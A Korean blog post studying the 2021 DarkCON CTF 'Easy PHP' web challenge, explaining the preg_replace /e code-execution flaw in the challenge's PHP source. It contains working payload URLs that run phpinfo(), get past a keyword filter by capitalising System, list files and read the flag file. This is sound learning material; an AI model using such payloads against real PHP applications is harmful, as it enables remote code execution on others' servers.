최경환의 해킹공부 2021. 3. 8. 03:51

ctf 웹 문제를 분석하거나 풀어보면서 공부하는 스터디 글입니다.

 

1. CTF 문제

2021 DarkCON CTF의 Easy PHP 문제입니다. 라업은 아래의 라업을 참고했습니다.

www.dongyeon1201.kr/b02eb0e9-f4bc-47d8-98be-d0bb3f489ffd

 

Easy PHP [ 384 points ]

✅ 목차

www.dongyeon1201.kr

2. 취약점 목록

1. preg_replace 함수 취약점(RCE)

3. 분석

일단 문제를 보면 별다른 정보 없이 Welcome DarkCON CTF!!라는 문구만 출력되어있다고 합니다.

 

그래서 추가로 제공되는 파일이 있는 지 확인하였고, 제공된 파일 중 robots.txt파일의 내용을 통해 ?lmao라는 경로를 확인할 수 있고, 그 경로에 들어가면 소스코드를 확인할 수 있다고 합니다.

 

* 소스코드 분석

<?php
require_once 'config.php';

$text = "Welcome DarkCON CTF !!";

if (isset($_GET['lmao'])) {
    highlight_file(__FILE__);
    exit;
}
else {
    $payload = $_GET['bruh'];
    if (isset($payload)) {

		# $payload 값 필터링
        if (is_payload_danger($payload)) {
            die("Amazing Goob JOb You :) ");
        }
        else {
			# 기본적으로 출력되는 메세지를 입력한 정규식에 따라 변경
            echo preg_replace($_GET['nic3'], $payload, $text);
        }
    }
    echo $text;
}
?>

여기서 get 방식으로 전달 받는 두 개의 파라미터를 볼 수 있는데, nice3는 preg_replace에 사용되는 정규식이고, bruh는 preg_replace의 인자로 사용됩니다. 

 

이 소스코드에서 중점적으로 봐야할 점은 입력받은 문자를 입력한 정규식에 따라 변경하여 출력한다는 것인데, 이때 파라미터 값을 preg_replace 함수를 사용한다는 것이 이 소스코드의 취약점이고, 이를 이용해서 문제를 풀어야합니다.

 

*preg_repalce 함수 취약점

이 함수의 취약점은 함수를 사용할 때 /e 옵션을 통해 문자열을 치환할 경우 변환하고자 하는 문자열을 php코드 그대로 인식한다는 것입니다. 즉, 소스코드가 입력될 경우 php 코드대로 실행되는 RCE취약점이 존재한다는 것입니다, 이는 아래를 통해 확인할 수 있습니다.

# DarkCON 문자가 phpinfo() 글자로 변경되며, /e 옵션으로 인해 함수로 실행된다. 
echo preg_replace('/DarkCON/e', 'phpinfo()', $text);
-> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=phpinfo()
PHP

여기서 라업의 작성자는 flag를 읽어오기 위해서 php코드인 system('ls')나 exec함수와 같은 시스템 함수를 이용해서 flag를 읽어올려고 했지만 소스코드에서 is_payload_danger함수로 인해 필터링되었다고 합니다. 하지만 이 필터링은 굉장히 단순하게 한 글자를 대문자로 바꿔서 우회하는 방법이 통했고, 따라서 System('ls") 을 통해 현재 존재하는 파일 목록을 화면에 출력할 수 있었습니다.

echo preg_replace('/DarkCON/e', 'System("ls")', $text);
http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22ls%22)

이렇게 플래그로 의심할만한 파일이 존재하는 것을 확인했고, 다시 system함수의 cat기능을 통해서 이 파일의 내용을 확인해보니 플래그를 확인할 수 있었다고 합니다.

 

echo preg_replace('/DarkCON/e', 'System("cat flag210d9f88fd1db71b947fbdce22871b57.php")', $text);
-> http://easy-php.darkarmy.xyz/?nic3=/DarkCON/e&bruh=System(%22cat%20flag210d9f88fd1db71b947fbdce22871b57.php%22)

 

 

4. 전체 페이로드 분석

이 문제에서는 딱히 최종 페이로드라고 할만한 내용은 찾기 힘들었고, 분석의 내용을 따라가면 쉽지 않게 문제를 이해할 수 있을 것 같습니다.

5. 리뷰

이 문제의 점수는 4점입니다. 솔직히 말하면 위의 라업 분석을 읽어보면서 느낄 수 있듯이 어려운 문제라고 하기는 어려운 부분이 많습니다. 단순 시스템 함수의 필터링이 대소문자 우회를 통해 우회된다는 점을 포함해서 소스코드가 분석하기 어려운 문제는 아닙니다. 하지만 제가 이 문제를 분석한 이유는 제가 몰랐던 취약점을 하나라도 배웠다는 점 때문에 이 문제의 라업 분석을 작성하게 되었습니다. 기존에 preg_match함수는 많이 보았고, 문제도 어느 정도 풀어보았지만 preg_replace함수가 취약점이 존재한다는 점과 그 취약점이 RCE라는 점은 짚고 넘어가면 좋을 것 같아서 이 문제를 통해 간단하게나마 정리해보았습니다.